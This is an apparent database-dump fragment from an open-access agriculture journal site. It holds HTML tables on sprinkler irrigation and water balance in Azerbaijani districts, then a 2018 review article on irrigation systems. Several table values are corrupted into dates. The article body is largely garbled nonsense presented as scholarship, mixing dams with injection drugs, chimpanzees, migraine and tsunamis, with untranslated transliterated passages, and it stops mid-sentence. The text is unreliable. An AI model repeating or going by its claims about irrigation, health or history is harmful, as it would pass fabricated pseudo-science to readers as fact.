<td style=\"width:77.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">2970</span></p>\r\n			</td>\r\n			<td style=\"width:179.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">1100</span></p>\r\n			</td>\r\n			<td style=\"width:109.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">2500</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:141.0pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:77.0pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:179.0pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:109.0pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:141.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Water permeability in the 1-hour, m/h</span></p>\r\n			</td>\r\n			<td style=\"width:77.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">0,03-0,05</span></p>\r\n			</td>\r\n			<td style=\"width:179.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">0.06</span></p>\r\n			</td>\r\n			<td style=\"width:109.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">0.04</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:141.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Biases(Distortions)</span></p>\r\n			</td>\r\n			<td style=\"width:77.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">0,001-0,0001</span></p>\r\n			</td>\r\n			<td style=\"width:179.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">0,02-0,03</span></p>\r\n			</td>\r\n			<td style=\"width:109.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">0,004-0,007</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:141.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Ground water depth, m</span></p>\r\n			</td>\r\n			<td style=\"width:77.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">4-Jan</span></p>\r\n			</td>\r\n			<td style=\"width:179.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">more than 10</span></p>\r\n			</td>\r\n			<td style=\"width:109.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">2.5 -7 -10</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:141.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Mineralized. g/l</span></p>\r\n			</td>\r\n			<td style=\"width:77.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">10-Mar</span></p>\r\n			</td>\r\n			<td style=\"width:179.0pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:109.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">13-14</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:141.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Superficial reset with Irrigated plot, %.</span></p>\r\n			</td>\r\n			<td style=\"width:77.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">No</span></p>\r\n			</td>\r\n			<td style=\"width:179.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">up to 30</span></p>\r\n			</td>\r\n			<td style=\"width:109.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">maximum 10/20/2018</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:141.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Moist-armed irrigation and leaching m3/ha</span></p>\r\n			</td>\r\n			<td style=\"width:77.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Are held in winter 2500-3000</span></p>\r\n			</td>\r\n			<td style=\"width:179.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Conduct is inappropriate</span></p>\r\n			</td>\r\n			<td style=\"width:109.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Conducted in the pozdnevesen-period 1500</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:141.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Productivity, centner/ha</span></p>\r\n			</td>\r\n			<td style=\"width:77.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">30-40</span></p>\r\n			</td>\r\n			<td style=\"width:179.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">10-May</span></p>\r\n			</td>\r\n			<td style=\"width:109.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">15-20</span></p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table 2:</strong><strong> </strong>The conditions of sprinkling irrigation apparatus IDAD on territory of Guba RANN, irrigation of orchards on the territory of the AIA Sri &quot;Agriculture&quot; in the Terter district, Sarydzhaly sugar beets and soybeans, Ganja RACN in PIC. Bagmanly orchards and vineyards</span></span></p>\r\n\r\n<div>\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"border-collapse:collapse; border:solid windowtext 1.0pt; width:405.95pt\">\r\n	<tbody>\r\n		<tr>\r\n			<td rowspan=\"2\" style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"color:white\"><strong>B<span style=\"font-family:Times New Roman,Times,serif\">alance sheet items</span></strong></span></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:white\">Gandja RACS</span></strong></span></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:white\">Terter RACS</span></strong></span></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:86.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>m<sup>3</sup>/ha</strong></span></p>\r\n			</td>\r\n			<td style=\"width:36.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>%</strong></span></p>\r\n			</td>\r\n			<td style=\"width:84.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>m<sup>3</sup>/ha</strong></span></p>\r\n			</td>\r\n			<td style=\"width:36.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>%</strong></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:162.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Parish</span></p>\r\n			</td>\r\n			<td style=\"width:86.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">644</span></p>\r\n			</td>\r\n			<td style=\"width:36.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">100</span></p>\r\n			</td>\r\n			<td style=\"width:84.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">693.7</span></p>\r\n			</td>\r\n			<td style=\"width:36.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">100</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:162.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Total</span></p>\r\n			</td>\r\n			<td style=\"width:86.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">644</span></p>\r\n			</td>\r\n			<td style=\"width:36.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">100</span></p>\r\n			</td>\r\n			<td style=\"width:84.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">693.7</span></p>\r\n			</td>\r\n			<td style=\"width:36.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">100</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:162.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Including:</span></p>\r\n			</td>\r\n			<td style=\"width:86.05pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:36.85pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:84.15pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:36.85pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:162.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">filtering into the soil</span></p>\r\n			</td>\r\n			<td style=\"width:86.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">16.2</span></p>\r\n			</td>\r\n			<td style=\"width:36.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">2.6</span></p>\r\n			</td>\r\n			<td style=\"width:84.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">55.7</span></p>\r\n			</td>\r\n			<td style=\"width:36.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">8</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:162.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">residual volume</span></p>\r\n			</td>\r\n			<td style=\"width:86.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">7.1</span></p>\r\n			</td>\r\n			<td style=\"width:36.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">1.1</span></p>\r\n			</td>\r\n			<td style=\"width:84.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">10</span></p>\r\n			</td>\r\n			<td style=\"width:36.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">1.4</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:162.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Evaporation of falling drops rain on the land </span></p>\r\n			</td>\r\n			<td style=\"width:86.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">81.2</span></p>\r\n			</td>\r\n			<td style=\"width:36.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">13</span></p>\r\n			</td>\r\n			<td style=\"width:84.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">88</span></p>\r\n			</td>\r\n			<td style=\"width:36.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">13</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:162.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Reset from the field</span></p>\r\n			</td>\r\n			<td style=\"width:86.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">86.5</span></p>\r\n			</td>\r\n			<td style=\"width:36.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">13</span></p>\r\n			</td>\r\n			<td style=\"width:84.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">162</span></p>\r\n			</td>\r\n			<td style=\"width:36.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">23</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:162.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Left on the field</span></p>\r\n			</td>\r\n			<td style=\"width:86.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">453</span></p>\r\n			</td>\r\n			<td style=\"width:36.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">70</span></p>\r\n			</td>\r\n			<td style=\"width:84.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">378</span></p>\r\n			</td>\r\n			<td style=\"width:36.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">55</span></p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n</div>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table</strong><strong> 3</strong><strong>: </strong>Balance of water when sprinkling on plots of Terter and Ganja RACN.</span></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">When tested with IDAD reflex nozzles, working position, as in Guba-Khachmaz RACS and Terter AIA, established education puddles and runoff in medium and heavy soils under irrigation norms 250-300 m<sup>3</sup>/ha [2,10]. Table 4.</span></p>\r\n\r\n<div>\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"border-collapse:collapse; border:solid windowtext 1.0pt; width:412.7pt\">\r\n	<tbody>\r\n		<tr>\r\n			<td rowspan=\"3\" style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:white\">Soil</span></strong></span></p>\r\n			</td>\r\n			<td colspan=\"4\" style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:white\">Biases</span></strong></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"2\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>0,0002-0,0005</strong></span></p>\r\n			</td>\r\n			<td colspan=\"2\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>0,002-0,007</strong></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td>\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>first watering</strong></span></p>\r\n			</td>\r\n			<td>\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>the last watering</strong></span></p>\r\n			</td>\r\n			<td>\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>first watering</strong></span></p>\r\n			</td>\r\n			<td>\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>the last watering</strong></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td>\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Supeschanaja</span></p>\r\n			</td>\r\n			<td>\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">450</span></p>\r\n			</td>\r\n			<td>\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">230</span></p>\r\n			</td>\r\n			<td>\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">400</span></p>\r\n			</td>\r\n			<td>\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">170</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td>\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Legkosuglinistaja</span></p>\r\n			</td>\r\n			<td>\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">340</span></p>\r\n			</td>\r\n			<td>\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">150</span></p>\r\n			</td>\r\n			<td>\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">290</span></p>\r\n			</td>\r\n			<td>\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">100</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td>\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Srednesuglinistaja</span></p>\r\n			</td>\r\n			<td>\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">290</span></p>\r\n			</td>\r\n			<td>\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">90</span></p>\r\n			</td>\r\n			<td>\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">170</span></p>\r\n			</td>\r\n			<td>\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">80</span></p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table 4: </strong>Irrigation norm (m<sup>3</sup>/ha) before the advent of the runoff on the results of the studies in the regions of Guba-Khachmaz and Ganja-Gazakh zone.</span></span></p>\r\n\r\n<p style=\"text-align:center\">&nbsp;</p>\r\n</div>\r\n</div>\r\n</div>\r\n','1538832084.pdf',NULL,'1538832084.jpg','',0,1,'2018-10-06 18:51:23','2018-10-16 01:21:25',1),(12,35,'20','2018','Review and Assessment of the Use of Irrigation Systems in Conditions of Acute Resource Shortage in the Conditions of Azerbaijan','Aliyev Zakir Huseyn Oqlu*','Review Article','Review-and-Assessment-of-the-Use-of-Irrigation-Systems-in-Conditions-of-Acute-Resource-Shortage-in-the-Conditions-of-Azerbaijan','Review and Assessment of the Use of Irrigation Systems in Conditions of Acute Resource Shortage in the Conditions of Azerbaijan','Review and Assessment of the Use of Irrigation Systems in Conditions of Acute Resource Shortage in the Conditions of Azerbaijan','Review and Assessment of the Use of Irrigation Systems in Conditions of Acute Resource Shortage in the Conditions of Azerbaijan','<p style=\"text-align:center\"><span style=\"font-size:20px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Open access journal of agriculture research</strong></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:18px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Review and Assessment of the Use of Irrigation Systems in Conditions of Acute Resource Shortage in the Conditions of Azerbaijan</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Aliyev Zakir Huseyn Oqlu<sup><span style=\"color:red\">*</span></sup></strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Institute of Soil Science and Agrochemistry NAS Azerbayijan, Azerbayijan</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><sup><span style=\"color:red\">*</span></sup><strong>Corresponding author:</strong> Aliyev Zakir Huseyn Oqlu, Institute of Soil Science and Agrochemistry NAS Azerbayijan, Azerbayijan. Email: <a href=\"mailto:zakiakademik@mail.ru\">zakiakademik@mail.ru</a></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation:</strong> Oqlu AZH (2018) Review and Assessment of the Use of Irrigation Systems in Conditions of Acute Resource Shortage in the Conditions of Azerbaijan. Open Acc J Agri Res: OAJAR-100002.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Received Date: </strong>22<strong> </strong>August, 2018; <strong>Accepted Date:</strong> 10 September, 2018; <strong>Published Date:</strong> 05 October, 2018</span></p>\r\n','','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"font-size:16px\"><strong>Review and Assessment</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The dams are one of the pillars of the hydro-technical structures of the biochemistry of tiarrrhafta. The dams were replaced with watercolor. In 1918 Simmer Blass and his twin daughters were able to transfer the ACL to the University of Clermont. The Lakino banalist was not given up. (the so-called plastic bottlenecks). In 1948, the injection of the injection drug of Seco Blass injectable injection and inj`ection of the injectable drug for injection due to injection due to the biochemistry of chrysophilic biochemistry. One of the worst attackers, Sima Blass, was Israel&#39;s successor in the 1962 Diving Water Pipe. In 1968, the southernmost region in southern Kyrgyzstan was the epicenter of 800 headquarters. Then, in several countries, the temperature of the tsunami declined. Only in the 1970s, irrigated farms grew to 4.2 million degrees in the 1970s, in 1975 there were 110,000 recruiters and the 1980s in the south by 350,000 hectares. This steam boom absorbs ACS at 172 mAh. Damages and dams caused by irrigation can be caused by unevenness of diarrhea irrigation systems; Allow the beard to go to the watercourse water and bring the cow to a low rate, allow the water to be thrown clockwise and make sure that the erosion of the fungi is extinguished [1].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The dams are located in the reservoir where bikilarins hiropodia are grown, and the chimpanzee habitat is in a bottle with hummingbirds. Stasionar systems were used for a combined biochemical water wave. Saccharosis Liquid tuberculosis is the most common cause of severe cholera or gurulur. As a result, the most common threats to this problem are in the system. The best way to follow the water cycle is to get rid of the damaged water, which you can forgive if you drink it.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">At the bottom of the bottle there are two types of water, while water flows in the gutter, and water in the irrigation zone of the steam zones is not suitable for bicarbonate. This watercourse is the main source of solar water supply and can be found in many countries. The irrigation regime with the drop irrigation system provides a good aeration process in the soil zone of the root systems and its useful microorganisms and normal microbiological activity. Construction of the soil zone where the root system of the plant is located, with the irrigation water, joint macro and micro elements are achieved, which creates a satisfactory environment in the soil. Within the framework of macroeconomic and microelement reservoirs, the mechanism of biotransformation of microorganisms of microorganisms is characterized by the systematic character of the development system in developing countries.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The steam generator can also be used to store the solubility of bicarbonate in the furnace. Sucrom is a potentially immune system that can be cultured for macro or microelementation. Its constructive and therapeutic technology is based on small amounts of smaller doses of vitamin D in the daily dosage. At this discharge of water, the optimum quality of fuel can be maintained at the expiration date. The steamer drainage system is one of the largest and most widely used water supply systems in the world, with fewer water supply systems and a large number of greenhouses. Irrigation - mustard seed conditions choh. Gurag can be warmed to the surface of the watercourse in hot springs.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">A brewery based on beer is an apple with a mustard seed. The waterfall in the waterfall was damaged due to the widespread use of contaminated grasses. Sugar juice is used for drinking water supply, which is used for water management purposes, as well as for sewage treatment and groundwater use for irrigation and drainage. Damage to the reservoir can be caused by erythrocyte and erythromycin in the umbrella. The customer management system is mandatory. The dam of the waterfall is mechanized from irrigation. In the most productive areas, less pumps should be pumped from the pump.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">In the migraine organs of the mitracillium alizarins cavity, migraine in migraines can be a fertile - physiochemical - biocompatible intension and migraine cancer. In addition, photosynthesis can be used for a physiologist and physiologist. The dams were damaged by water in the watercourse, and the gait regime was widely distributed. Steam improves the optimal water regime for a watercourse without a bitumen bulb.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The watercourse was one of the main participants of the longest breeding season in the world and is now largely dependent on water. Damascular system is a normal microbiological organism in herbaceous algae of the simplest erylimine and filiform microorganisms. Sugarma is a mixture of bizzurine syrup, which is usually located in the mushroom zone, where the fungi do not freeze.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The most optimal water, giant and submergible regimes are biological and physiological other advantages. Over the years, there is great difficulty in trying to get rid of fraud. Suwma Time is a great success, as the water supply system has a sperm system, which is located in the shrub zone. The school staff has two or four hours of water and can be used for a long time. Garnished by watering needle syarateindyany chokhi asylidyr. Drip irrigation can be used for irrigation when watering mineral water is used for irrigation. While the idea of a bi-fuel watercourse has been unanimous in the past, the country respects society very much. In Australia, the nitrogen content is slightly lower than the 44-57% emission level, with a 30-44% percentage [2]. One of the worst in the world was suicide. During drip irrigation, after irrigation, or during irrigation, it allows cleaning of the grown products (harvesting) or other types of agricultural work, which fully lends itself to the automation of irrigation systems [3,4].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Drip irrigation can be used in steep sloping lands having a complex geographical relay condition, which has water-permeability [5-7] soil-soil. It is important to note that in the process of mining the earth&#39;s crust there is a large amount of water in the bark. The network first works in the field with plastic and plastic bottles. The experiments were conducted with tomatoes. Here, the groundwater level remains unchanged. In drip irrigation systems consists of a pumping station, hydropodermic connection of mixing mineral fertilizers with irrigation water, main and distributing water pipelines, irrigation pipelines, and droppers (drip devices). For the protection (cleaning) of the drip pipe network, and the smacks of droppers from lilac depositions, special cleaning facilities are used. This is a grid, a blow, a whirlwind, an example. The function of the mesh screeners is that, in order to remove water from the sand and other hard, partial types of objects, cleaning water from them, does not allow submersion into irrigation pipelines, which also protects the systems from impact and jamming of the droplet tips of the apparatus.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The culmination of the stealth stream and the evolution of the irrigation system in the evolutionary way of life in the developing world are more common. Mojalif bush is typical of the material. Changes include, but are not limited to, polyvinyl chloride, propylene, polyvinyl chloride or polyvinyl chloride. Bunlardan Bashlad Damyyladyylaryn Constructions Asasy Relay Sharyaitindyan, Biktlyarin Nyuvtsdyan, Igil Sharyaitindyano, Suvarm Meunya-larindyanoy v. asylas olarag mtshtalif olur. Damiyladylalel suvarmanyn chatyshmayana yyashtlyarinya being ashaidakylar aiddir-sistemin ishindya elektrik enerzhisdiany osthfadia olunmas; -systamine dyarinin bscha olmassy; -suyun bulyanyg olldego chshallard sulayyy borularyn hsusilia yes daimyladylaryn tutulmasy. Ashauda birch cheese stems dumyladylarina tssttnny chatayshmayan Microscope Netafim, as a rule, consume a small amount of irrigation water in the cucumber area of the bottle. The microscope has a length of 10 cm and a diameter of about 20 cm and a diameter of 20 cm. Plastic plastic hooks. God forgave you three months ago and forgave you the forgiveness of sins. &quot;1.&quot; The parish dynasty &quot;Nafa&#39;fim&quot;, &quot;Betaniy&quot;, vyshdir. The hidden bite mode is a little magical. An elegant business sniffer is great for more than 10 l / s.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The basic principles of microscopy are the fact that, despite the shortage of SCHAU shrinking water, water is not available to the irrigation water, but the Greek language is awkward. The face-to-face of the &quot;Rebate&quot; company, which is capable of working continuously, is a microscopic Aramsyzla ishlyayy&rsquo;n &quot;Rebate&quot; firmasynyn yuztstyamizlyan. In contrast, a small dose of water is usually found in the vertebrate region of the brain.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Microfibre &quot;Rebat&quot; offers a wide range of lightweight metal hooks and hinges and hinges on hinges and shells. Mikrosuburax1c1n1n ishlyamya Principe ashaydaky kimidir: Ulugda Olan deshikdyan kechyaryak sous korpusun boshluuna Dakhil Olur, daschy sonr ktsryaiyin syatschi Knitted chyhysh deshiyinin Dakhil schashiyyasi arasynda Olan schalgavari yarygdan Kechir, gapayn Dakhil schyay Knitted body il myaschdudlashmysha fazaya dtsshtsra, oradanda yarya tyuktsltsr. Basgynyn syunmyasi ktsryaik Knitted korpusun chyhysh deshiyi arasynd Olan yaryd anly ny Kyasik saschyasinina daralmasov Knitted sonradana eenishlyanmyasi schesabynoy bash verir.Yuma rezhimininoy yaradylmasy tschtsn Hapag Yukhary schalgavari chyhyntynynoy tssttsndya byarkidilir vu vu kechid kyasiyi syarfi chohaldarag skid oxy il ktsryaogo galdyryr. This is the optimal mode of water and wastewater treatment for the bitumen system and the vertical juice juice system of this microscopic contaminant. The vicious cycle of microsubmorrhagic fevers 